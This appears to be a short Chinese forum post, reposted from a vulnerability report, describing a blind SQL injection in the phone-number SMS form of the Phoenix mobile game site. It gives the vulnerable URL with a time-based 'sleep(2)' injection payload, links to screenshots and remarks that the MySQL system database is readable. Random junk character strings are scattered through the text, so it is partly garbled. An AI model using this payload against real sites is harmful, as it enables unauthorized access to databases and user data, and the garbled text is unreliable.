简要描述：# s U$ x- ?/ t3 n$ t
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。% Q4 l5 h# ^( V
2 f3 J# R; F. i4 I& s- K* {详细说明：
' X2 K/ U/ e/ k; A$ O$ i存在SQL盲注url:3 e% r `8 Q4 p' a
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1, \6 ]4 f" ^; B
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png' `6 v3 E8 K4 p& |4 C
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png- q* q8 x( a6 N1 y# L- T2 \
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg: ]/ q1 v& B, P4 }
! F9 S1 P- R& `" ?9 H5 W/ V
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对